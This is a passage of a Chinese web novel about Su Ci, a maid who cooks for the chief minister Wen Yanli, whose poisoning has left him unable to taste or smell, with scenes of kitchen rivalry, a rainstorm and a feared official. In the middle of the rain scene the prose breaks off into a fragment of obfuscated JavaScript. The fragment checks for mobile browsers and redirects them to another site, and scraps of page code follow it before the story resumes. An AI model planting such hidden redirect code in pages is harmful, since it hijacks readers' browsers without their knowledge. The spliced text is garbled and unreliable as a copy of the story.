“哎，慈妹妹，等等。”苏旺急忙上前一步，伸手就想去拉她的衣袖，声音拔高了几分，“走什么呀，表哥好不容易打听到你在这儿，特意来看看你，在首辅府当差，日子过得可好？” 那副假惺惺的关切嘴脸让苏慈胃里一阵翻涌。她用力甩开他探过来的手，声音冷硬如冰：“放开，我要进去了。” “别呀，”苏旺不死心，去拽她的胳膊，力气不小，“慈妹妹，你听我说，哥哥我如今也在想法子，等我，等我再攒些银钱，一定把你从这火坑里赎出去，到时候…” 他凑近了些，压低声音，脸上挂着市侩油腻的笑，“到时候你便跟了我，我定好好待你，咱们做一对长久夫妻，可好？” “你！”苏慈被他这无耻言语气得浑身发抖，脸涨得通红，正要厉声斥责这毫无廉耻之徒，一个清冽如冰泉的声音，自两人身后突兀响起：“她说不愿意，你聋了？” 4. 凉爽小菜 苏慈和苏旺同时回头。 只见温砚礼不知何时已站在几步开外，一身玄色云纹锦袍，他面容冷肃，眸光沉沉地扫过来，惊得苏旺浑身一哆嗦，下意识松开了抓着苏慈的手。 苏慈趁机挣脱，慌忙退开两步，对着温砚礼深深福下身去，声音还带着惊魂未定的微颤：“婢、婢子见过大人。” 温砚礼从鼻腔里极淡地“嗯”了一声，算是回应。 苏慈松了一口气，连头都不敢抬，转身闪进了那扇小门，心还在胸腔里狂跳不止。 温砚礼这才将视线投向僵在原地的苏旺。那眼神淡漠得如同在看路边的尘土，毫无情绪，却让苏旺遍体生寒，双腿发软。 “福安，”温砚礼收回视线，“传话下去，守门的眼睛都放亮些，这种阿猫阿狗，往后不许靠近府门半步。” “是，大人。”身后的福安躬身应道，眼神凌厉地瞪了苏旺一眼。 苏旺吓得面色发白，连滚带爬地转身就跑，狼狈的身影眨眼间就消失在小巷尽头。 - 卯时正，苏慈做完手头的杂活，寻了个廊下背阴的矮墩坐下，小心地从怀里掏出一本薄薄的小册子。 册子上是她一笔一画誊抄的食谱，配着些简单的图样。 这是她最宝贝的东西，指尖抚过那些墨迹，心里便踏实几分。她总想着，等攒够了钱，赎了身出府，就靠着这点琢磨吃食的手艺，开个小铺子。 金光透过稀疏的枝叶落在书页上，也落在她微微翘起的唇角。 “苏慈。”赵福的声音打断了这片刻的宁静。他背着手踱过来，“大人晚间有应酬，不回来了，晚膳不必你预备，歇着吧。” “是，赵管家。”苏慈连忙应声，将那小册子仔细收好，贴身藏了。心里倒是松了口气，能省些力气总是好的。她站起身，又去拾掇别处了。 此刻，京城最负盛名的醉仙楼顶层雅阁内，灯火辉煌，丝竹悦耳。温砚礼坐于主位，面前长案上摆满了山珍海味，金樽玉盏。 襄国公世子殷勤地布了一筷子炙鹿肉到他面前的小碟里：“温相，这鹿肉是今早才猎得的，鲜嫩得很，您尝尝？” 温砚礼瞥了眼那油光润泽的肉片，胃里却一片木然，甚至隐隐泛起那熟悉的空乏感。他端起面前的青玉酒杯，浅浅啜了一口，浓烈的酒液滑过喉咙，也未能激起丝毫波澜。 “世子客气。”他淡淡道。 旁边一个微醺的官员见状，拍着脑袋笑道：“瞧我这记性，忘了大人素来口味挑剔，下官府上倒有个南边来的丫头，一手淮扬菜做得极是地道，改日便送到大人府上，给您调理调理脾胃，如何？” 温砚礼握着酒杯的手指顿了顿。脑中莫名闪过晌午角门外，那个低垂着头仓惶逃开的纤细身影，还有那碗白玉清汤。喉结微动，他将杯中剩余的酒液一饮而尽，辛辣感直冲而下，这才开口：“不必劳烦，府中已有试膳之人。” 一句婉拒，堵住了对方的话头。 夜色已深，月牙儿斜挂天际。 苏慈刚用微温的水洗漱过，换上了干净的里衣，预备歇下。忽地，一阵急促却不失规矩的敲门声响起。 “苏慈姑娘，快些起身。”是大人身旁的随从福安的声音，“大人回府了，现下有些腹饥，让你立刻去小厨房做些易克化的夜宵呈上。” 苏慈心头一叹，认命地应了声“就来”。白日里还说不用备膳，这深更半夜的。 她匆匆套上外衫，挽起头发，快步朝小厨房走去。好在白日里发好的面团还剩一小块，她便利落地揉开、擀薄，切成细匀的面条。 另起一小锅清鸡汤，撒上些碧绿的菜心，卧了个嫩生生的荷包蛋。不过片刻，一碗清汤细面便做好了，汤色澄澈，面条根根分明，卧着翠绿的菜心和雪白的荷包蛋，热气袅袅。 她端着托盘，轻步走进温砚礼平日歇息的书房外间。只见他斜倚在窗边的紫檀木圈椅里，并未看书，只是闭目养神。 烛光柔和地勾勒着他俊美的侧脸，空气中飘散着淡淡的酒气。苏慈不敢多看，但觉这位大人此刻的姿态，竟比白日少了些迫人的冷硬，多了一分说不出的好看。 她赶紧垂下眼，将面碗轻置在他手边的小几上：“大人，夜宵备好了。” 温砚礼睁开眼，眼神还有些酒后的微醺。他拿起银箸，挑了几根面条送入口中。汤清味鲜，面条软硬适中，温热的食物滑入胃里，稍稍缓解了那股因饮酒而起的不适。 他沉默地吃着，苏慈便垂手侍立在一旁，眼观鼻鼻观心。 过了片刻，她鼓起勇气，声音细细地问：“大人，味道可还使得？” “尚可。”他吐出两个字，神色淡淡，又低头喝了一口汤。 忽然，他动作顿住，微蹙起眉，鼻翼轻轻翕动了两下，似乎在空气中捕捉着什么。接着他侧过头，看向低眉顺眼的苏慈，声音略微不悦：“什么气味？如此难闻。” 苏慈一愣，也低头嗅了嗅自己的衣袖，只有一股干净的皂角清气，混着点湿润的水汽。她茫然抬头，小声回道：“回大人，奴婢、奴婢并未涂抹什么香膏脂粉。” 温砚礼闻言，那眼神犀利得像是发现了什么不可思议的东西。他这才意识到，方才那股并非刺鼻的脂粉香，也不是厨房的油烟味，而是极其淡薄的气息，是那种只属于少女的温软味道，似乎就是从眼前这个小厨娘身上散发出来的。 他中毒五年，早已忘却世间百味，连同嗅觉也一并麻木。可此刻，这缕气息却清晰地钻入他的鼻腔，霸道地宣告着存在。 苏慈被他看的心头一跳。温砚礼放下筷子，盯着她，命令道：“走近些。” 苏慈心中疑惑更甚，却又不敢违逆，只得向前挪了两小步，停在离他约莫两步远的地方。 “再近些。”他的声音沉了些。 苏慈屏住呼吸，又向前挪了一步，几乎能感觉到他身上混合着酒气的温热气息。 温砚礼微微倾身，那股气息果然更清晰了，陌生，却并不难闻。这个认知让他心绪更加烦乱，仿佛某种坚固的壁垒被无声地撬开了一丝缝隙。他径直起身，脸色沉得能滴出水来，像被什么烫到了的迅速拉开距离，挥袖斥道：“行了，下去！” 苏慈被他这莫名的变脸弄得心头一紧，完全摸不着头脑。但不敢多问，她连忙屈膝行礼：“是，奴婢告退。”然后端着几乎没怎么动过的面碗托盘，屈身退了出去。 直到回到小厨房，关上门，苏慈背靠着门板，心还在怦怦直跳。她放下托盘，看着碗里那已经有些坨了的面条，只觉得莫名其妙。 一会儿嫌气味难闻，一会儿又让她走近…最后那脸色，黑得像是要杀人。 她疲惫地揉了揉额角，对着空空的墙壁低声嘟囔：“这位大人的心思，真是比那雕花豆腐还难琢磨，往后在他跟前当差，怕是得打起十二分的精神才行。” - 翌日，日头明晃晃地炙烤着青石板地，热气蒸腾起来，连院角那几株平日里精神抖擞的老槐树都蔫头耷脑的，叶子卷了边儿。 苏慈刚提了一桶井水上来，冰凉的井水溅湿了裙角，带来片刻难得的沁凉。她直起腰，轻轻捶了捶发酸的背，就听见不远处廊庑下的阴凉地里，几个轮完值歇晌的婢女正凑在一处低声叽喳，手里的绣活扇子都慢了下来。 “可不是么，昨儿个书房外当值的秋菱姐说，又听见里头摔茶盏的动静了，吓得她腿肚子直转筋，大气儿不敢出。”一个穿着杏色比甲的小丫鬟压着嗓子，一脸后怕。 另一个年纪稍长些的婢女叹了口气，摇着手里的蒲扇：“唉，少说两句吧。大人那也是心里苦，好端端的一个人，前两年不知怎么中了那起子阴毒算计，人是救回来了，可舌头尝不出味儿了，山珍海味到了嘴里都跟嚼蜡似的，搁谁谁不难受？这吃不下东西，身子骨能不亏空，脾气自然也就一日比一日更差。” 苏慈拿着水瓢的手微微一顿。她想起那晚他对着满桌佳肴毫无动容甚至厌恶的模样，心头恍然。原来是这样。她默默舀起一瓢水，慢慢浇在旁边的几盆花草根下，水流渗进干涸的土里，发出轻微的滋滋声。 随后，她状似无意地提着空桶走近那处廊庑，在离她们几步远的地方停下，借着擦拭额角薄汗的工夫，声音放得轻缓，带着些恰到好处的请教：“几位姐姐歇着呢？这天儿可真热，方才听姐姐们说起大人，我新来不久，笨手笨脚的，就怕不当心触怒了大人，不知大人平日里还有哪些忌讳要注意的？” 那几个婢女闻声都转过头来看她。 其中一个圆脸细眼的打量她几下，忽然眨了眨眼：“咦？你不就是小厨房那个…新来的？昨儿个给大人煮面那个。” 苏慈连忙点头，微微屈膝：“是，奴婢苏慈，还请姐姐们多提点。” 那圆脸婢女见她态度恭顺，模样也温婉，便往旁边挪了挪，给她让出小片阴凉：“提点说不上，咱们也都是底下当差的，谁不怕呢？不过大人虽说脾气是阎王性子，倒也不常无故发作下 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温砚礼脚步微顿，面色未有分毫变动：“带路。” 慈宁宫内熏香袅袅，带着一股沉闷的暖意。太后倚在软榻上，看着下首端坐如松的温砚礼，语气颇有些无奈：“哀家瞧着你这气色，还是那般。近日政务虽繁忙，也要顾惜着自个儿的身子。” 温砚礼微微颔首：“劳太后挂心，臣一切尚好。” 太后捻着佛珠，话头一转：“哀家是看着你一步步走到今天的，如今你位极人臣，身边却没个知冷知热的人，终究不成体统。年纪也不小了，这娶妻成家的事总不能拖着吧。” “朝务冗杂，边疆、漕运、吏治，诸事待理，臣实无暇分心于此。”温砚礼声音平稳，拒绝得干脆利落。 太后眉头微蹙，似是不满这番说辞，仍耐着性子：“哀家娘家有个表侄女，今年刚及笄，性子温婉，模样也周正，与你正是相配。不若…” 温砚礼眼睫未抬，声音仍是冷淡：“太后美意，臣心领。臣确无此意，还请太后恕罪。” 接连被拒，太后面上有些挂不住，殿内气氛一时凝滞。半晌，她终究叹了口气，带着几分悻悻然摆摆手：“罢了罢了，你这倔脾气，哀家也懒得管你。” 正说着，老嬷嬷捧着一个小巧的玉色香炉进来，轻轻放置在太后手边的案几上。炉内新添了香饼，一缕极淡的青烟袅袅升起，散发出宁神静气的馥郁香气。 温砚礼的视线落在香炉上，忽然开口：“太后，此香…” 太后抬眼看他：“嗯？这是新贡的雪中春信，说是安神最好。怎么？” 他顿了顿，道：“臣…能否近前一闻？” 太后眼中掠过讶异，她是知道温砚礼嗅觉亦损的事实的，却也没说什么，颔首示意。 温砚礼起身，走到香炉边，微微俯身，鼻翼靠近那氤氲的香烟，浅浅吸了一口气。然而传入鼻端的，只有空气吸入肺腔的凉意，没有任何味道。那传闻中馥郁甘醇的御香，于他而言，与寻常白水并无区别 直起身，面色如常：“确是好香。” 太后看着他，眼底露出几分怜悯之色，摆摆手：“罢了，你且去忙吧。” 辞别太后，他转身步出慈宁宫，背影在深长的宫道上格外孤直。 坐在回府的青呢轿子里，轻微的摇晃中，温砚礼阖着眼。昨夜猝不及防嗅到的那股清香，在他脑中反复交错。 但为何，为何偏偏是那个婢女？ 轿子落地，府门已至。 温砚礼睁开眼，眸色深沉。他并未立刻下轿，而是抬手，用指节叩了叩轿窗。 紧随轿旁的福安凑近窗口，弯下腰，神色恭顺：“大人有何吩咐？” 温砚礼忽然道：“再近些。” 福安虽不解，仍依言将头又往窗口探了探。 下一刻，温砚礼倏地侧过身，径直向着福安凑近的脖颈处低下头，鼻尖几欲碰到他的皮肤，用力嗅了一下。 “！！！” 福安如同被冰水泼中，浑身一个激灵，骇得差点跳起来，触电般缩回脖子，一张脸涨得通红，结结巴巴语无伦次：“大大大、大人，您、您这是…小的、小的喜好正常，只喜欢姑娘！绝无…” 温砚礼被他这过激的反应打断思绪，蹙眉抬眼，看见福安那副活见鬼又羞又窘的模样，愣了一瞬，随即明白过来他误会了什么，额角青筋微跳，没好气地低声斥骂一句：“滚蛋！” 5. 葱油鸡丝 近日暑气正盛，院子里一丝风也无。 苏慈刚把晾晒的衣物收好，便见赵福步履匆匆地过来，压着声音道：“大人回府了，正在书房。你快随我去问问晚膳的章程。” 苏慈心下一紧，忙擦净手，低眉顺眼地跟上。书房外的回廊下，隔着竹帘，能隐约看见里面那个挺拔冷峻的身影坐在书案后，手里执着一卷书，目光垂落。 赵福在帘外停下，恭敬地提高些声音：“大人，苏慈来了，您看晚膳…”里面毫无回应，只有书页偶尔翻动的细微声响。 苏慈深吸一口气，硬着头皮，声音放得轻软：“大人，今日天热得厉害，奴婢想着做些清爽开胃的凉拌小菜，佐以荷叶粥，最是解暑，您看可好？” 书房内仍然没回应，温砚礼连眼皮都未曾抬一下，仿佛根本没听见。苏慈的心慢慢沉下去，指尖微微蜷缩。 赵管家却像是得了什么暗示，悄悄拉了拉苏慈的衣袖，示意她退下。走出几步远，他才低声道：“大人没说话，这便是允了。快些去准备，务必精细些。” “是。”苏慈应下，心里却像揣了个小鼓。这位大人的心思，真是比海还深。 小厨房里更是闷热，灶火虽未全燃，也蒸得人汗流浃背。张嫂和钱嫂子坐在小凳上摇着蒲扇磕牙，见苏慈进来，那哼笑声从鼻子里毫不掩饰地挤了出来，四道目光像刷子一样在她身上扫来扫去，带着敌意。 自打这丫头来了，赵管家对她们就没个好脸色，话里话外嫌她们做的菜不合大人胃口，再这么下去，这厨房油水最足的肥差怕是真要换人。想到这儿，两人心里就跟猫抓似的难受。 苏慈只当没看见那两张拉长的脸，自顾自净了手。她想起从前家里夏日里常做的几样小菜，清爽又别致。她从水缸里捞起一节嫩白的藕带，又取了些鸡胸肉，动作利落地处理起来。 先将鸡胸肉放入清水锅，加姜片葱结煮熟，捞出后耐心撕成细丝，放入井水中湃着。又将藕带切成薄薄的片，同样用冰凉的井水浸泡，保持其脆嫩。 两位老嫂子交换了个眼色，撇撇嘴，也不帮忙，就抱着胳膊站在一旁斜眼看着，嘴里还不咸不淡地嘀咕：“哟，又是些上不得台面的清汤寡水。” “可不是，也不知走了什么运道，竟入了大人的眼。” 苏慈全神贯注在手下的活计上，丝毫不受干扰。她另取小碗，调入细盐、少许提鲜的酱汁、磨得极细的姜末，又滴了几滴小磨香油，最后浇上一勺炸得喷香的葱油，兑成浅浅一碗料汁。 那香气被热浪一烘，悄然散开。菜将将做好，摆入白瓷盘中，鸡丝雪白，藕片玉润，淋上浅褐的料汁，缀着几点碧绿的葱花，看着便觉凉快。 一直冷眼旁观的张嫂和前嫂子见此也来了精神，争先恐后地挤过来。 “大人用膳要紧，我来端。”张嫂一把就要去端那盘主菜。 “还是我来，我稳当。”钱嫂子也不甘示弱，伸手便抢。 苏慈身形娇小，被她们粗壮的身子有意无意地推搡了一下，踉跄半步撞在灶台边，手肘一阵钝痛。 她稳住身子，抬起头，看着那两个争功心切的婆子，嘴唇微微动了动，但什么也没说，随即端起旁边另一碟拌好的清脆黄瓜，低声道：“那这碟小菜，奴婢送去。” 张钱二人正争得眼红，哪还顾得上她，巴不得她离远点。苏慈便端着那碟翠玉般的黄瓜，退出了闷热逼仄的小厨房，朝着正堂走去。 小厨房里，钱嫂子和张嫂子还在争执谁去给大人送那盘葱油鸡丝，为此两人扭打起来。一个扯着盘子边，一个抓着盘子底，互不相让。 “给我，我手脚稳当！”钱嫂子瞪着眼，额头青筋都爆了出来。 “呸！上回你就摔了个碗，还敢抢功？”张嫂子猛地一拽。 只听“啪嚓”一声脆响，紧接着是菜肴落地的狼藉声响。那盘精心拌好的葱油鸡丝，连着青花瓷盘，彻底摔在了地上，油汁溅得到处都是。 两人顿时僵住了，脸色唰地一下变得惨白，看着地上那摊狼藉，冷汗冒了出来。 “完、完了。”张嫂子声音发颤，腿肚子直哆嗦，“这、这可怎么跟大人交代？” 钱嫂子眼珠慌乱地转了几圈，一咬牙，压低声音恶狠狠道：“慌什么，就当没这道菜，横竖就咱们仨在厨房，那小蹄子空口白牙，咱们咬死了不认，她还能翻天不成？” 心念达成，两人便开始手忙脚乱地收拾残局。 正堂里，四角摆着冰鉴，丝丝冷气逸散。 温砚礼已坐于桌前，一身墨色常服，更衬得他面如冷玉。他看向桌上先呈上来的两碟小菜，一碟是脆生生的凉拌黄瓜，另一碟是冰镇过的糖渍番茄，红绿相间，看着倒是清爽。 他眉梢微挑。苏慈垂手站在一旁，见状连忙轻声解释：“大人，天热，奴婢先上了两道开胃小菜，还有三道…” 话音未落，钱嫂子和张嫂子便端着另外两碟菜进来了，一碟是清炒藕带，一碟是凉拌木耳，稳稳地放在桌上，然后迅速退到一边，低眉顺眼，大气不敢出。 苏慈看着桌上只有四碟素菜，心里咯噔一下，那股不安骤然放大。她明明做了五道菜，那盘最花心思的葱油鸡丝呢？ 温砚礼懒懒掀眸在四碟素菜上转了一圈，嘴角扯起，神情似笑非笑：“全是素的？怎么，是本官近日看起来像要出家了，还是这府里已经穷得连片肉都端不上了？”声音听不出丝毫息怒，却无端让人头皮发麻。 空气顷刻凝滞，压迫感陡增。钱张二人吓得身子一抖。 苏慈心口发紧，顾不上许多，急忙上前一步，屈膝解释道：“大人息怒，奴婢做了葱油鸡丝的，用了鸡胸肉撕成细丝，拌了葱油调料，就放在灶台边的白瓷盘里，不知为何…”她说着，下意识地看向那两个婆子。 “你胡说八道什么。”钱嫂子立刻尖声反驳，“我们只见这三菜一汤，哪来的什么鸡丝？苏慈，你自己漏做了或是做坏了，还想赖到我们头上不成？” 张嫂子也赶紧帮腔，指着苏慈对温砚礼道：“大人明鉴，这丫头定是忙中出错，怕您责罚，才信口雌黄冤枉我们，我们一直在厨房，根本没见着什么鸡肉。” “你们！”苏慈又气又急，小脸顿时涨得通红。她明明亲手所做，她们怎能如此睁眼说瞎话。 可看着她们那副抵死不认的泼悍模样，她知道此刻争吵只会更糟，强压下涌到嘴边的辩驳，指甲狠狠掐进了掌心。 “够了。”温砚礼屈起指节，不轻不重地在桌面上叩了两下。 话音刚起，便压下了堂内所有声音。 他抬起眼，眸子先是漫不经心地扫过眼神闪烁的两个婆子，她们像被掐住了脖子，瑟缩着低下头，最后才慢悠悠地落在苏慈身上，她正紧紧咬着下唇，眼圈微红，却倔强地挺直着背脊。 下一秒，温砚礼敛回眸子，淡道：“本官坐在这里，不是来听你们争执孰是孰非的。”停顿了一下，他看着苏慈，“既端不上来，便是你的疏忽，下不为例。” 轻飘飘一句话，便将事情定了性。 苏慈心口一涩，屈膝福身，将所有情绪压进心底，声音低哑地应道：“是，奴婢知错。” 是夜，正堂里的烛火也熄了大半，只余下角落里一两盏，晕开一小片昏黄的光。苏慈伺候完晚膳，依着赵管家的吩咐，并未立刻离去，只在主院回廊下僻静的角落里静静候着。 这里离温砚礼起居的正房不远不近，既能随时听候传唤，又不至于扰了大人清静。 夜风渐起，带着凉意，吹得廊下的灯笼轻轻摇晃。苏慈拢了拢身上单薄的衣衫，心里默默计算着时辰。 她住的那处小院偏得很，走过去得费好些功夫。赵管家每每让她多留片刻，总说大人若再有吩咐，你也好及时应承，末了总不忘添一句“好好当差，月钱自然少不了你的”。 为了那能让她日后安身立命的银钱，她便也只得按下性子，在这寒夜里多熬上一刻，打起十二分精神，留意着那扇紧闭的房门有无动静。 也不知过了多久，里头仍旧静悄悄的，再没传来任何吩咐。她轻轻吁了口气，看来今日是熬过去了。 抬头望了望天，墨黑一片，连颗星子都瞧不见，空气里飘散着股潮湿的土腥气，想必是快下雨了。 刚走出院门没几步，豆大的雨点就毫无预兆地噼里啪啦砸了下来，又急又密，顷刻间就打湿了她的头发和肩头。 苏慈低低惊呼一声，忙抬手遮在额前，可哪挡得住这瓢泼之势。四下张望，黑黢黢的，连个避雨的回廊都远。 她咬了咬唇，回头望了一眼身后那座沉寂威严的院落，借伞的念头刚起，她便迅速打消了这个念头。 谁不知道大人喜静，身边从不用丫鬟近身伺候，她怎敢为这点小事去叩门叨扰。 心一横，她将裙摆稍稍提起，埋头便冲进了雨幕里。冰凉的雨水劈头盖脸地就浇了下来，单薄的夏衣瞬间湿透，紧紧贴在身上，冷得她打了个哆嗦。 眼睛被雨水迷得几乎睁不开，只能凭着感觉深一脚浅一脚地往前跑。 她刚跑出主院不远，那沉重的院门却“吱呀”一声，从里面被拉开了一条缝。 温砚礼站在门内，并未出来。他原是听到骤雨声，想起窗边似乎未关严，起身查看。眸子不经意掠过雨幕，恰好捕捉到那个娇小身影正狼狈地冲进雨里，瘦弱的肩背被雨水打得微微蜷缩，却还在奋力往前跑，很快就要消失在黑暗的甬道尽头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353965|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那身影在昏黑雨夜里显得如此单薄，仿佛随时会被这急雨吞没。 他眉头微蹙，眸底瞬间微动，随即转身，朝外边沉声道：“福安。” 一直候在廊下的福安闻言小跑过来：“大人？” “拿把伞，去送她一程。”温砚礼声音平淡，说完便转身回了内室，似乎只是随口吩咐。 福安愣了一下，才反应过来“她”指的是谁，连忙应了声“是”，从门后抽了把油纸伞，撑开便追了出去。 苏慈跑不出不远，被风吹得浑身发冷，牙齿都开始打颤，忽然听到身后传来急促的脚步声和呼喊：“苏慈姑娘，等等，苏慈姑娘！” 她愕然停步回头，只见福安撑着一把大伞，快步追了上来，雨水在他脚边溅起细小的水花。 福安将伞迅速罩到她头顶，隔绝了冰冷的雨水，喘了口气道：“这雨太大了，大人让我送送你。” 苏慈一时愣住了，浑身湿漉漉地站在伞下，有些不知所措，心头顿时惶恐起来：“这…怎敢劳烦福安哥？我、我自己跑回去就成。” “嗐，客气什么。”福安摆摆手，示意她一起往前走，“你可是专门给大人调理膳食的，要是淋雨病倒了，明儿个谁给大人做饭？到头来遭罪的还不是咱们这些身边人？”他说得实在，带着点熟稔的调侃。 原来是因为这个。苏慈心里那点微小的诧异悄然平复，也是，那位大人怎会无故关心一个婢女。她垂下眼睫，轻声道：“无论如何，多谢福安哥。也、也替我谢谢大人。” 雨点打在油纸伞上，发出噼啪的声响。两人并肩走在湿滑的青石小路上。 福安是个话多的，憋了一会儿又忍不住道：“咱们这位爷啊，心思是难猜了点，有时候是挺不近人情，但你说他心肠多坏吧，好像也没有，就是这嘴，啧，从来不肯好好说话，往常别说送伞，就是院里跪满了人，他眼皮都不带抬一下的。今日倒是稀奇…哎呦，这话你可千万别往外说。” 听着福安这大胆的吐槽，苏慈原本因湿冷而有些发沉的心绪不由微微一松，唇角极轻地弯了一下，又赶紧抿住，只低声道：“大人自有大人的道理。” 到了杂役院低矮的门口，苏慈再次道谢。福安摆摆手，撑着伞又冲回了雨里。 看着福安的身影重新没入雨幕，苏慈这才轻轻推开那扇小木门，闪身进去。屋里气息温和干燥。她靠在门板上，还是忍不住打了个寒颤，湿透的衣裳紧贴着皮肤，又冷又黏，极不舒服。 她一刻也不敢耽搁，摸着黑，轻手轻脚地找出干净的中衣和布巾。 得赶紧擦干身子，换上身干燥衣裳，再喝点热水才好。若是真病倒了，耽误了当差是小，万一过了病气给那位金贵的大人，那才是真的吃罪不起。 - 翌日清晨，苏慈醒来时便觉得脑袋有些昏沉，鼻子也不甚通畅，想必是昨夜淋雨着了凉。她不敢怠慢，赶紧去灶房要了碗滚烫的姜汤，刚喝下，一股暖意顺着喉咙滑下，驱散了些许寒意，身上总算松快了些。 正想着晌午的膳食该如何准备，赵管家派来的小厮便传了话，说大人午间有约，要出府去，不必预备午膳了。 苏慈闻言，心下暗暗松了口气。幸好不必去伺候，自己这般头重脚轻的模样，若是在大人面前不小心打个喷嚏或露出病容，怕是要惹来不快。 她收拾得当，想着趁这空闲去后院领些新的针线。刚走出下人房所在的窄巷，拐过一道月亮门，踏上通往库房的抄手游廊，迎面便撞见一个身着青色常服，身形瘦削的男子负手走来，看样子是要往主院方向去。 苏慈下意识地侧身避让，低头垂目。待那人走近，她眼角余光不经意地扫过对方的面容，下颌微尖，眉眼带着几分精明的刻薄。只这一眼，苏慈浑身的血液似乎顷刻间都冻结了。 她低下头，瞳孔紧了紧。 怎么会是他？那个两年前带着官差冲进她家，宣读数条她至今不明就里的罪状，将她父亲和兄长锁拿带走的那个官员，那张脸，那副冷漠的神情，早已如同噩梦般深深刻在她心底。 苏慈死死咬住下唇，才能勉强克制住不让自己发抖得太厉害，期望对方没有认出自己。 那官员似乎在思忖着事情，视线只在她这低等婢女身上随意一瞥，便径直走了过去，脚步声渐行渐远。 直到那脚步声消失，苏慈才敢缓缓抬起头，脸色苍白得已经没有一丝血色，后背竟已惊出了一层冷汗，被风一吹，凉飕飕的。 她扶着冰冷的廊柱，指尖都在发颤。 恰在此时，平日与她还算相熟的婢女小荷捧着几匹布料从前头过来。 “苏慈，你愣在这儿做什么？脸色怎地这般难看？”小荷好奇地问道。 6. 茯苓山药粥 苏慈闻声回神，一把拉住小荷的衣袖，眼神惶然地看向那官员消失的方向：“方才过去那位大人，是、是谁？他常来府里吗，是大人的朋友？” 小荷顺着她目光看去，恍然道：“哦，你说那位周然周大人啊？他是兵部的丞官，时常来与咱们大人商议公务的，算是常客了。你新来的，自然不常见。” 兵部的周大人。 苏慈耳边嗡的一声，小荷后面的话她都听不真切了，胡乱地点着头，喃喃应着：“嗯，是，我新来的，不识得。” 小荷见她魂不守舍，只当她是被外男吓到了，又说了两句便抱着布料走了。 苏慈站在原地，忽地打了一哆嗦，也顾不上去领什么针线，转身就往回走，脚步又快又急，仿佛身后有恶鬼追赶。 - 书房内，檀香袅袅。 温砚礼坐于紫檀木书案后，指尖有一搭没一搭地敲着一份边关送来的急报。周然坐在下首，面色凝重。 “西北战事吃紧，鞑靼此番来势汹汹，李将军递来的折子，字字泣血，粮草、军饷…唉。”周然叹了口气，话锋悄然一转，声音压低了些，“只是如今陛下醉心丹道，一心求那长生之术，几位于御前说得上话的真人方士倒是比咱们这些臣子更得脸，底下几位殿下…” 他顿了顿，意味深长地看了温砚礼一眼，“听闻昨日朝会后，东宫又发了好大一通脾气。大人，您看这几位龙子凤孙，咱们究竟该…” 温砚礼敲击桌面的手指倏然停住，抬起眼，眸色漠然，声音虽低但却带着几分威压：“周大人，慎言。” 周然心头一凛，自知失言，慌忙拱手告罪：“是下官冒昧，大人恕罪，下官也是忧心国本，绝无他意。”他今日确是奉了二皇子之命前来探探这位首辅大人的口风，可眼下见对方似有不耐，他已不敢再提半字。 又议了几句边务，眼见时辰不早，周然便起身告辞。温砚礼亦随之站起，两人一同往外走去。 行至廊下，温砚礼似忽然想起什么，侧首对候在外间的福安淡声道：“晚间我与周大人在外应酬，府中不必备膳。去告诉苏慈，晚上也不必她动手了。” 侍立一旁的福安连忙躬身应“是”。 正要迈步的周然却霎时顿住了脚，他转过头，神色异然，眉梢微微挑起：“苏…慈？方才大人说的是苏慈？” 温砚礼脚步未停，喉间懒懒地溢出一声：“怎么，周大人认识？” 周然眼皮一跳，立刻收敛了神色，扯出一个略显干巴的笑意，连连摆手：“不、不认识，下官怎会认识大人府上的婢女，只是、只是觉得这名字，听着似乎有几分耳熟，像是在哪里听过一耳朵似的，许是记岔了，记岔了。” 他嘴上说着记岔，眼神细微闪烁了一下，下意识地避开了温砚礼投来的审视。 温砚礼将他这细微的异样尽收眼底，墨眸沉沉：“是么。”说罢，率先向前走去。 周然暗松一口气，忙快步跟上。 午后蝉鸣聒噪，苏慈得了半日闲，坐在自己的下房里，就着窗外透进的天光，小心地摊开那本食谱册子，提笔蘸墨，将近日琢磨出的几道清爽小食的要点细细记下。 微风拂过，几缕碎发垂落颊边，更衬得她侧脸线条柔和，下颌尖尖，专注的圆眸里映着纸上的墨迹。 凝神间，房门“吱呀”一声被不客气地推开。 春杏叉着腰站在门口，见她竟安然坐着写字，顿时柳眉倒竖，语气又尖又酸：“哟，苏慈妹妹可真清闲，大伙儿都在外头忙得脚不沾地，偏你躲在这里装小姐？前头游廊脏了，快去提水擦洗。” 苏慈笔尖一顿，抬起眼。春杏素来看她不惯，平日里没少寻衅刁难。她放下笔，声音温软：“春杏姐姐，赵管家早有吩咐，洒扫庭除之类的杂事，以后不归我管了。” 春杏一愣，像是没听清，随即嗤笑一声：“不归你管？你什么意思，才来府上不到两个月，就真把自己当半个主子了？连前辈的话都敢不听。” 苏慈站起身，她身量比春杏略高，身形窈窕，即便穿着粗布衣裙，也难掩那份天然的清丽。看着春杏气得发红的脸，她语气未起波澜，重复道：“我是听赵管家的吩咐行事，管家让我专司小厨房，伺候大人膳食，其余杂役，一概免了。” 紧随顿了顿，目光清凌凌地看向春杏，“姐姐若是不信，或是觉得不妥，自可去寻赵管家问个明白。” 这话不卑不亢，却点明了春杏虚张的气势。春杏盯着苏慈那张白皙细腻的瓜子脸，越看越觉刺眼，狠跺了一下脚，指着苏慈：“你，你给我等着。”说罢，扭身气冲冲地跑了，裙角带起一阵风。 春杏一路疾行，心口堵得发慌，直冲到赵管家处理事务的耳房外，也顾不得规矩，扬声道：“赵管家，那苏慈她说您免了她所有杂役，只让她在厨房伺候，可是真的？她才来几天，就这般拿乔躲懒，顶撞前辈，您可得管管。” 赵管家低头拨着算盘，闻声抬起头，皱起眉头上下打量她一眼，语气冷淡：“是真的，怎么，我如何分派差事，还要先问过你春杏的意思？” 春杏被噎了一下，却不死心，凑近几步，声音放软了些，带着几分撒娇的意味：“赵管家，我不是这个意思，只是，只是伺候大人的差事那般紧要，她一个新人，您看，我比她来得早，做事也稳妥，不如、不如也让我去大人院里伺候，必定比她还尽心。” 